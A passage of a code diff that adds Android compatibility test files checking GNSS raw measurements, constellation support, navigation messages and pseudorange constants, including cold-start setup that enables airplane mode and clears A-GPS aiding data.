+ TestMeasurementUtil.assertAllGnssMeasurementMandatoryFields(mTestLocationManager,
+ measurement, softAssert, timeInNs);
+ carrierPhaseQualityPrrFound |=
+ TestMeasurementUtil.gnssMeasurementHasCarrierPhasePrr(measurement);
+ if (measurement.hasCarrierFrequencyHz()) {
+ mGnssMeasSvStringIds.add(
+ TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
+ measurement.getSvid(), measurement.getCarrierFrequencyHz()));
+ } else {
+ mGnssMeasSvStringIds.add(
+ TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
+ measurement.getSvid()));
+ }
+ }
+ }
+ TestMeasurementUtil.assertGnssClockHasConsistentFullBiasNanos(softAssert, events);
+
+ softAssert.assertTrue(
+ "GNSS Measurements PRRs with Carrier Phase "
+ + "level uncertainties. If failed, retry near window or outdoors?",
+ carrierPhaseQualityPrrFound);
+ Log.i(TAG, "Meas received for:" + mGnssMeasSvStringIds);
+ Log.i(TAG, "Status Received for:" + gnssStatusCallback.getGnssUsedSvStringIds());
+
+ // Logging YEAR_2017 Capability.
+ // Get all SVs marked as USED in GnssStatus. Remove any SV for which measurement
+ // is received. The resulting list should ideally be empty (How can you use a SV
+ // with no measurement). To allow for race condition where the last GNSS Status
+ // has 1 SV with used flag set, but the corresponding measurement has not yet been
+ // received, the check is done as <= 1
+ Set<String> svDiff = gnssStatusCallback.getGnssUsedSvStringIds();
+ svDiff.removeAll(mGnssMeasSvStringIds);
+ softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+ "Used Svs with no Meas: " + (svDiff.isEmpty() ? "None" : svDiff),
+ svDiff.size() <= 1);
+
+ softAssert.assertAll();
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
new file mode 100644
index 0000000..5586739
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.location.cts.common.TestUtils;
+import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test for {@link GnssMeasurement} without a location fix.
+ *
+ * Test steps:
+ * 1. Clear A-GPS: this ensures that the device is not in a warm mode and it has 4+ satellites
+ * acquired already.
+ * 2. Register a listener for:
+ * - {@link GnssMeasurementsEvent}s,
+ * - location updates and
+ * - {@link GnssStatus} events.
+ * 3. Wait for {@link GnssMeasurementsEvent}s to provide {@link EVENTS_COUNT} measurements
+ * 4. Ensure that zero locations have been received
+ * 5. Check {@link GnssMeasurementsEvent} status: if the status is not
+ * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
+ * following reasons:
+ * 4.1 the device does not support the feature,
+ * 4.2 GPS Locaiton is disabled in the device && the test is CTS non-verifier
+ * 6. Check whether the device is deep indoor. This is done by performing the following steps:
+ * 4.1 If no {@link GnssStatus} is received this will mean that the device is located
+ * indoor. The test will be skipped if not strict (CTS or pre-2016.)
+ * 7. When the device is not indoor, verify that we receive {@link GnssMeasurementsEvent}s before
+ * a GPS location is calculated, and reported by GPS HAL. If {@link GnssMeasurementsEvent}s are
+ * only received after a location update is received:
+ * 4.1.1 The test will pass with a warning for the M release.
+ * 4.1.2 The test will fail on N with CTS-Verifier & newer (2016+) GPS hardware.
+ * 8. If {@link GnssMeasurementsEvent}s are received: verify all mandatory fields, the test will
+ * fail if any of the mandatory fields is not populated or in the expected range.
+ */
+public class GnssMeasurementWhenNoLocationTest extends GnssTestCase {
+
+ private static final String TAG = "GnssMeasBeforeLocTest";
+ private TestGnssMeasurementListener mMeasurementListener;
+ private TestLocationListener mLocationListener;
+ private TestGnssStatusCallback mGnssStatusCallback;
+ private static final int EVENTS_COUNT = 2;
+ private static final int LOCATIONS_COUNT = 1;
+
+ // Command to delete cached A-GPS data to get a truer GPS fix.
+ private static final String AGPS_DELETE_COMMAND = "delete_aiding_data";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ if (mMeasurementListener != null) {
+ mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+ }
+ if (mGnssStatusCallback != null) {
+ mTestLocationManager.unregisterGnssStatusCallback(mGnssStatusCallback);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Test for GPS measurements before a location fix.
+ */
+ @AppModeFull(reason = "Requires use of extra LocationManager commands")
+ public void testGnssMeasurementWhenNoLocation() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil
+ .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+ return;
+ }
+
+ // Set the device in airplane mode so that the GPS assistance data cannot be downloaded.
+ // This results in GNSS measurements being reported before a location is reported.
+ // NOTE: Changing global setting airplane_mode_on is not allowed in CtsVerifier application.
+ // Hence, airplane mode is turned on only when this test is run as a regular CTS test
+ // and not when it is invoked through CtsVerifier.
+ boolean isAirplaneModeOffBeforeTest = true;
+ if (!isCtsVerifierTest()) {
+ // Record the state of the airplane mode before the test so that we can restore it
+ // after the test.
+ isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
+ if (isAirplaneModeOffBeforeTest) {
+ TestUtils.setAirplaneModeOn(getContext(), true);
+ }
+ }
+
+ try {
+ // Clear A-GPS and skip the test if the operation fails.
+ if (!mTestLocationManager.sendExtraCommand(AGPS_DELETE_COMMAND)) {
+ Log.i(TAG, "A-GPS failed to clear. Skip test.");
+ return;
+ }
+
+ // Register for GPS measurements.
+ mMeasurementListener = new TestGnssMeasurementListener(TAG, EVENTS_COUNT);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ // Register for Gps Status updates.
+ mGnssStatusCallback = new TestGnssStatusCallback(TAG, EVENTS_COUNT);
+ mTestLocationManager.registerGnssStatusCallback(mGnssStatusCallback);
+
+ // Register for location updates.
+ mLocationListener = new TestLocationListener(LOCATIONS_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener.awaitStatus();
+ if (!mMeasurementListener.verifyStatus()) {
+ return; // exit peacefully (if not already asserted out inside verifyStatus)
+ }
+
+ // Wait for two measurement events - this is better than waiting for a location
+ // calculation because the test generally completes much faster.
+ mMeasurementListener.await();
+
+ Log.i(TAG, "mLocationListener.isLocationReceived(): "
+ + mLocationListener.isLocationReceived());
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ softAssert.assertTrue(
+ "No Satellites are visible. Device may be indoors. Retry outdoors?",
+ mGnssStatusCallback.getGnssStatus() != null);
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ Log.i(TAG, "Number of GPS measurement events received = " + events.size());
+
+ if (events.isEmpty()) {
+ softAssert.assertTrue(
+ "No measurement events received",
+ false);
+ return; // All of the following checks rely on there being measurements
+ }
+
+ // Ensure that after getting a few (at least 2) measurement events, that we still
+ // don't have location (i.e. that we got measurements before location.) Fail, if
+ // strict, warn, if not.
+ softAssert.assertTrue(
+ "Location was received before " + events.size() +
+ " GnssMeasurementEvents with measurements were reported. " +
+ "Test expects at least " + EVENTS_COUNT +
+ " GnssMeasurementEvents before a location, given the cold start" +
+ " start. Ensure no other active GPS apps (so the cold start" +
+ " command works) and retry?",
+ !mLocationListener.isLocationReceived());
+
+ // If device has received measurements also verify
+ // that mandatory fields of GnssMeasurement are in expected ranges.
+ GnssMeasurementsEvent firstEvent = events.get(0);
+ Collection<GnssMeasurement> gpsMeasurements = firstEvent.getMeasurements();
+ int satelliteCount = gpsMeasurements.size();
+ int[] gpsPrns = new int[satelliteCount];
+ int i = 0;
+ for (GnssMeasurement measurement : gpsMeasurements) {
+ gpsPrns[i] = measurement.getSvid();
+ ++i;
+ }
+ Log.i(TAG, "First GnssMeasurementsEvent with PRNs=" + Arrays.toString(gpsPrns));
+
+ long timeInNs = firstEvent.getClock().getTimeNanos();
+ softAssert.assertTrue("GPS measurement satellite count check: ",
+ timeInNs, // event time in ns
+ "satelliteCount > 0", // expected value
+ Integer.toString(satelliteCount), // actual value
+ satelliteCount > 0); // condition
+
+ TestMeasurementUtil.assertGnssClockFields(firstEvent.getClock(), softAssert, timeInNs);
+
+ // Verify mandatory fields of GnssMeasurement
+ for (GnssMeasurement measurement : gpsMeasurements) {
+ TestMeasurementUtil.assertAllGnssMeasurementMandatoryFields(mTestLocationManager,
+ measurement, softAssert, timeInNs);
+ }
+ softAssert.assertAll();
+ } finally {
+ // Set the airplane mode back to off if it was off before this test.
+ if (!isCtsVerifierTest() && isAirplaneModeOffBeforeTest) {
+ TestUtils.setAirplaneModeOn(getContext(), false);
+ }
+ }
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
new file mode 100644
index 0000000..e4ea91d
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.List;
+
+/**
+ * Test for {@link GnssMeasurement}s without location registration.
+ *
+ * Test steps:
+ * 1. Register a listener for {@link GnssMeasurementsEvent}s and location updates.
+ * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
+ * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
+ * following reasons:
+ * 2.1 the device does not support the feature,
+ * 2.2 GPS is disabled in the device,
+ * // TODO: This is true only for cts, for verifier mode we need to modify
+ * TestGnssMeasurementListener to fail the test.
+ * 2.3 Location is disabled in the device.
+ * 3. If no {@link GnssMeasurementsEvent} is received then test is skipped in cts mode and fails in
+ * cts verifier mode.
+ * 4. Check if one of the received measurements has constellation other than GPS.
+ */
+public class GnssMeasurementsConstellationTest extends GnssTestCase {
+
+ private static final String TAG = "GnssConsTypeTest";
+ private static final int EVENTS_COUNT = 5;
+ private static final int GPS_EVENTS_COUNT = 3;
+ private TestLocationListener mLocationListener;
+ private TestGnssMeasurementListener mMeasurementListener;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ if (mMeasurementListener != null) {
+ mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Test Gnss multi constellation supported.
+ */
+ public void testGnssMultiConstellationSupported() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil
+ .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+ return;
+ }
+
+ // Register for GPS measurements.
+ mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ // Register for location updates.
+ mLocationListener = new TestLocationListener(EVENTS_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener.await();
+ if (!mMeasurementListener.verifyStatus()) {
+ return;
+ }
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ softAssert.assertTrue(
+ "Did not receive any GnssMeasurement events. Retry outdoors?",
+ !events.isEmpty());
+
+ for (GnssMeasurementsEvent event : events) {
+ // Verify Gps Event mandatory fields are in required ranges
+ assertNotNull("GnssMeasurementEvent cannot be null.", event);
+ long timeInNs = event.getClock().getTimeNanos();
+
+ softAssert.assertTrue("time_ns: clock value",
+ timeInNs,
+ "X >= 0",
+ String.valueOf(timeInNs),
+ timeInNs >= 0L);
+ boolean isExpectedConstellationType = false;
+ int constellationType = 0;
+ for (GnssMeasurement measurement : event.getMeasurements()) {
+ constellationType = measurement.getConstellationType();
+
+ // Checks if constellation type is other than CONSTELLATION_GPS
+ // && CONSTELLATION_UNKNOWN.
+ if (constellationType != GnssStatus.CONSTELLATION_GPS
+ && constellationType != GnssStatus.CONSTELLATION_UNKNOWN) {
+ isExpectedConstellationType = true;
+ break;
+ }
+ }
+
+ // If test is running in CtsVerifier and multi constellation is not supported, then
+ // throw MultiConstellationNotSupportedException which is used to indicate warning.
+ if (isCtsVerifierTest() && !isExpectedConstellationType) {
+ throw new MultiConstellationNotSupportedException(
+ "\n\n WARNING: Device does not support Multi-constellation. " +
+ "Device only supports GPS. " +
+ "This will be mandatory starting from Android-O.\n");
+ }
+
+ // In cts test just log it as warning if multi constellation is not supported
+ softAssert.assertTrueAsWarning(
+ "Constellation type is other than CONSTELLATION_GPS",
+ timeInNs,
+ "ConstellationType != CONSTELLATION_GPS " +
+ "&& constellationType != GnssStatus.CONSTELLATION_UNKNOWN",
+ String.valueOf(constellationType),
+ isExpectedConstellationType);
+
+ }
+ softAssert.assertAll();
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
new file mode 100644
index 0000000..4bfd31c
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssNavigationMessage;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.List;
+
+/**
+ * Test the {@link GnssNavigationMessage} without location registration.
+ *
+ * Test steps:
+ * 1. Register for {@link GnssNavigationMessage}s.
+ * 2. Wait for {@link #EVENTS_COUNT} events to arrive.
+ * 3. Check {@link GnssNavigationMessage} status: if the status is not
+ * {@link GnssNavigationMessage#Callback#STATUS_READY}, the test will be skipped because one of the
+ * following reasons:
+ * 3.1 the device does not support the feature,
+ * 3.2 GPS is disabled in the device,
+ * 3.3 Location is disabled in the device.
+ * 4. If at least one {@link GnssNavigationMessage} is received, the test will pass.
+ * 5. If no {@link GnssNavigationMessage}s are received, then check whether the device is
+ * deep indoor. This is done by performing the following steps:
+ * 2.1 Register for location updates, and {@link GpsStatus} events.
+ * 2.2 Wait for {@link TestGpsStatusListener#TIMEOUT_IN_SEC}.
+ * 2.3 If no {@link GpsStatus} is received this will mean that the device is located
+ * indoor. Test will be skipped.
+ * 2.4 If we receive a {@link GpsStatus}, it mean that {@link GnssNavigationMessage}s
+ * are provided only if the application registers for location updates as well:
+ * 2.4.1 The test will pass with a warning for the M release.
+ * 2.4.2 The test might fail in a future Android release, when this requirement
+ * becomes mandatory.
+ */
+public class GnssNavigationMessageRegistrationTest extends GnssTestCase {
+
+ private static final String TAG = "GpsNavMsgRegTest";
+ private static final int EVENTS_COUNT = 5;
+ private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
+ private TestLocationListener mLocationListener;
+ private TestGnssStatusCallback mGnssStatusCallback;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister GnssNavigationMessageListener
+ if (mTestGnssNavigationMessageListener != null) {
+ mTestLocationManager
+ .unregisterGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
+ mTestGnssNavigationMessageListener = null;
+ }
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ if (mGnssStatusCallback != null) {
+ mTestLocationManager.unregisterGnssStatusCallback(mGnssStatusCallback);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Tests that one can listen for {@link GnssNavigationMessage}s for collection purposes.
+ * It only performs sanity checks for the Navigation messages received.
+ */
+ public void testGnssNavigationMessageRegistration() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil
+ .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+ return;
+ }
+
+ // Register Gps Navigation Message Listener.
+ mTestGnssNavigationMessageListener =
+ new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
+ mTestLocationManager.registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
+
+ mTestGnssNavigationMessageListener.await();
+ if (!mTestGnssNavigationMessageListener.verifyState()) {
+ return;
+ }
+
+ List<GnssNavigationMessage> events = mTestGnssNavigationMessageListener.getEvents();
+ if (!events.isEmpty()) {
+ // Verify mandatory GnssNavigationMessage field values.
+ TestMeasurementUtil.verifyGnssNavMessageMandatoryField(mTestLocationManager, events);
+ // Test passes if we get at least 1 GPS Navigation Message event.
+ Log.i(TAG, "Received GPS Navigation Message. Test Pass.");
+ return;
+ }
+
+ // If no {@link GnssNavigationMessage}s are received, then check whether the device is
+ // deep indoor.
+ Log.i(TAG, "Did not receive any GPS Navigation Message. Test if device is deep indoor.");
+
+ // Register for location updates.
+ mLocationListener = new TestLocationListener(EVENTS_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ // Wait for location updates
+ mLocationListener.await();
+ Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
+
+ // Register for Gps Status updates
+ mGnssStatusCallback = new TestGnssStatusCallback(TAG, EVENTS_COUNT);
+ mTestLocationManager.registerGnssStatusCallback(mGnssStatusCallback);
+
+ // Wait for Gps Status updates
+ mGnssStatusCallback.awaitStatus();
+ if (mGnssStatusCallback.getGnssStatus() == null) {
+ // Skip the Test. No Satellites are visible. Device may be Indoor
+ Log.i(TAG, "No Satellites are visible. Device may be Indoor. Skipping Test.");
+ return;
+ }
+
+ SoftAssert.failAsWarning(
+ TAG,
+ "GPS Navigation Messages were not received without registering for location" +
+ " updates.");
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
new file mode 100644
index 0000000..fa3d63c
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssNavigationMessage;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.os.Parcel;
+
+import java.util.List;
+
+/**
+ * Test the {@link GnssNavigationMessage} values.
+ *
+ * Test steps:
+ * 1. Register for {@link GnssNavigationMessage}s.
+ * 2. Wait for {@link #EVENTS_COUNT} events to arrive.
+ * 3. Check {@link GnssNavigationMessage} status: if the status is not
+ * {@link GnssNavigationMessage.Callback#STATUS_READY}, the test will be skipped because one of
+ * the following reasons:
+ * 3.1 the device does not support the feature,
+ * 3.2 GPS is disabled in the device,
+ * 3.3 Location is disabled in the device.
+ * 4. Verify {@link GnssNavigationMessage}s (all mandatory fields), the test will fail if any of the
+ * mandatory fields is not populated or in the expected range.
+ */
+public class GnssNavigationMessageTest extends GnssTestCase {
+
+ private static final String TAG = "GpsNavMsgTest";
+ private static final int EVENTS_COUNT = 5;
+ private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
+ private TestLocationListener mLocationListener;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ // Unregister GnssNavigationMessageListener
+ if (mTestGnssNavigationMessageListener != null) {
+ mTestLocationManager
+ .unregisterGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
+ mTestGnssNavigationMessageListener = null;
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Tests that one can listen for {@link GnssNavigationMessage}s for collection purposes.
+ * It only performs sanity checks for the Navigation messages received.
+ * This tests uses actual data retrieved from GPS HAL.
+ */
+ public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+ isCtsVerifierTest())) {
+ return;
+ }
+
+ mLocationListener = new TestLocationListener(EVENTS_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ // Register Gps Navigation Message Listener.
+ mTestGnssNavigationMessageListener =
+ new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
+ mTestLocationManager
+ .registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
+
+ boolean success = mTestGnssNavigationMessageListener.await();
+
+ if (!mTestGnssNavigationMessageListener.verifyState()) {
+ return;
+ }
+ SoftAssert softAssert = new SoftAssert(TAG);
+ softAssert.assertTrue(
+ "Time elapsed without getting enough navigation messages."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+
+ List<GnssNavigationMessage> events = mTestGnssNavigationMessageListener.getEvents();
+
+ // Verify mandatory GnssNavigationMessage field values.
+ TestMeasurementUtil.verifyGnssNavMessageMandatoryField(mTestLocationManager, events);
+ softAssert.assertAll();
+ }
+
+ private static void setTestValues(GnssNavigationMessage message) {
+ message.setData(new byte[] {1, 2, 3, 4});
+ message.setMessageId(5);
+ message.setStatus(GnssNavigationMessage.STATUS_PARITY_REBUILT);
+ message.setSubmessageId(6);
+ message.setSvid(7);
+ message.setType(GnssNavigationMessage.TYPE_GPS_L2CNAV);
+ }
+
+ private static void verifyTestValues(GnssNavigationMessage message) {
+ byte[] data = message.getData();
+ assertEquals(4, data.length);
+ assertEquals(1, data[0]);
+ assertEquals(2, data[1]);
+ assertEquals(3, data[2]);
+ assertEquals(4, data[3]);
+ assertEquals(5, message.getMessageId());
+ assertEquals(GnssNavigationMessage.STATUS_PARITY_REBUILT, message.getStatus());
+ assertEquals(6, message.getSubmessageId());
+ assertEquals(7, message.getSvid());
+ assertEquals(GnssNavigationMessage.TYPE_GPS_L2CNAV, message.getType());
+ }
+
+ public void testDescribeContents() {
+ GnssNavigationMessage message = new GnssNavigationMessage();
+ message.describeContents();
+ }
+
+ public void testWriteToParcel() {
+ GnssNavigationMessage message = new GnssNavigationMessage();
+ setTestValues(message);
+ Parcel parcel = Parcel.obtain();
+ message.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssNavigationMessage newMessage =
+ GnssNavigationMessage.CREATOR.createFromParcel(parcel);
+ verifyTestValues(newMessage);
+ parcel.recycle();
+ }
+
+ public void testReset() {
+ GnssNavigationMessage message = new GnssNavigationMessage();
+ message.reset();
+ }
+
+ public void testSet() {
+ GnssNavigationMessage message = new GnssNavigationMessage();
+ setTestValues(message);
+ GnssNavigationMessage newMessage = new GnssNavigationMessage();
+ newMessage.set(message);
+ verifyTestValues(newMessage);
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
new file mode 100644
index 0000000..a539724
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.Location;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.gnss.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test computing and verifying the pseudoranges based on the raw measurements
+ * reported by the GNSS chipset
+ */
+public class GnssPseudorangeVerificationTest extends GnssTestCase {
+ private static final String TAG = "GnssPseudorangeValTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 5;
+ private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
+ private static final int MIN_SATELLITES_REQUIREMENT = 4;
+ private static final double SECONDS_PER_NANO = 1.0e-9;
+
+ // GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in
+ // time
+ // is 65-83 ms, which is 18 ms range.
+ // GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
+ // should be in the range of [0.0, 0.021] seconds.
+ // QZSS and BEIDOU: they have higher orbit, which will result in a small svTime, the deltai
+ // can be
+ // calculated as follows:
+ // assume a = QZSS/BEIDOU orbit Semi-Major Axis(42,164km for QZSS);
+ // b = GLONASS orbit Semi-Major Axis (25,508km);
+ // c = Speed of light (299,792km/s);
+ // e = earth radius (6,378km);
+ // in the extremely case of QZSS is on the horizon and GLONASS is on the 90 degree top
+ // max difference should be (sqrt(a^2-e^2) - (b-e))/c,
+ // which is around 0.076s.
+ // 2 Galileo satellites (E14 & E18) have elliptical orbits, so Galileo can have up-to 48ms of
+ // spread.
+ private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.048;
+ // Geosync constellations have a longer range vs typical MEO orbits
+ // that are the short end of the range.
+ private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
+
+ private static final float LOW_ENOUGH_POSITION_UNCERTAINTY_METERS = 100;
+ private static final float LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS = 5;
+ private static final float HORIZONTAL_OFFSET_FLOOR_METERS = 10;
+ private static final float HORIZONTAL_OFFSET_SIGMA = 3; // 3 * the ~68%ile level
